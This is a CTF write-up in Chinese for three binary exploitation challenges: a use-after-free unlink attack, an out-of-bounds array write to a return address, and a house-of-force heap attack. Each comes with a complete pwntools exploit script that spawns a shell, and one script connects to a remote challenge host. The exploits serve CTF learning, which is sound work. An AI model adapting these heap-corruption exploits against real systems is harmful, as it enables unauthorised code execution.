Printf but not fmtstr
放入IDA分析
常规菜单题
发现在free中存在uaf
限制io攻击
没有开pie 堆地址存在固定位置上可以使用unlink攻击
脚本
from pwn import *
context.arch = 'amd64'
def gd():
gdb.attach(p)
pause()
def add(idx,size):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
def free(idx):
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
def show(idx):
p.recvuntil(b'>')
p.sendline(b'4')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
def edit(idx,data):
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Content: ')
p.send(data)
p = process("./pwn")
table = 0x4040e8
shell_addr = 0x4011d6
elf = ELF("./pwn")
add(0, 0x580)
add(1, 0x580)
add(2, 0x580)
free(0)
free(1)
paylaod = p64(0) + p64(0x581) + p64(table - 0x18) + p64(table - 0x10)
add(3,0x590)
edit(1, flat([0, 0x581, 0x4040E8 - 0x18, 0x4040E8 - 0x10]))
free(2)
#gd()
edit(1,p64(0) * 2 + p64(elf.got['free']))
edit(0,p64(shell_addr))
free(1)
p.interactive()
成功getshell
arrary_index_bank
没什么好说的数组越界
-7的位置上面存在函数返回地址
越界覆盖成后门地址
注意:直接覆盖成后门地址会因为对齐出问题所以应该跳过push命令以后
from pwn import *
context.arch = 'amd64'
def gd():
gdb.attach(p)
pause()
p = process("./pwn")
#p = remote('node4.anna.nssctf.cn',28658)
p.sendline(b'1')
p.sendline(b'-1')
p.recvuntil(b'accounts[-1] = ')
elf_base = int(p.recv(len('93915009242150'),16)) - 210 - 0x1327 - 0x2d
shell_addr = elf_base + 0x1315
print(hex(elf_base))
p.sendline(b'2')
p.sendline(str(-0x8000000000000000 + 7))
p.sendline('{:d}'.format(shell_addr).encode())
p.sendline(b'3')
p.interactive()
成功getshell
只开放了申请功能
下面泄露了堆地址
发现第一次申请一个巨大的块泄露地址,第二次可以申请小于0x30的堆块修改top块的大小。
第三次申请把malloc_got拿出来写上system第四次申请就成功getshell。
因为库版本是2.23没有对top块大小做检查所以可以正应了题目的名字(house of force)
成功修改大小
from pwn import *
context.arch = 'amd64'
def gd():
gdb.attach(p)
pause()
def add(idx,size,data):
p.sendline(b'1')
p.recvuntil(b'which index?')
p.sendline(str(idx).encode())
p.recvuntil(b'how much space do u want?')
p.sendline(str(size).encode())
p.recvuntil(b'now what to write?')
p.send(data)
table = 0x00000000006020A0
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("/home/cforce/Desktop/libc.so.6")
p = remote('node4.anna.nssctf.cn',28053)
add(0,0x60000,b'\n')
p.recvuntil(b'the balckbroad on ')
libc_base = int(p.recv(14),16) - 0x58b010
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(1,0x10,b'/bin/sh\x00'+ b'a' * 0x10 + p64(-1 & 0xffffffffffffffff))
p.recvuntil(b'the balckbroad on ')
top = int(p.recv(9),16)
sys_addr = libc_base + libc.sym['system']
print(hex(top))
print(elf.got['malloc'] - top)
add(2,elf.got['malloc'] - top - 0x30,b'a')
add(3,0x18,p64(sys_addr))
p.sendline(b'1')
p.sendline(b'4')
p.recvuntil(b'how much space do u want?')
p.sendline('{:d}'.format(top))
#gd()
p.interactive()
成功getshell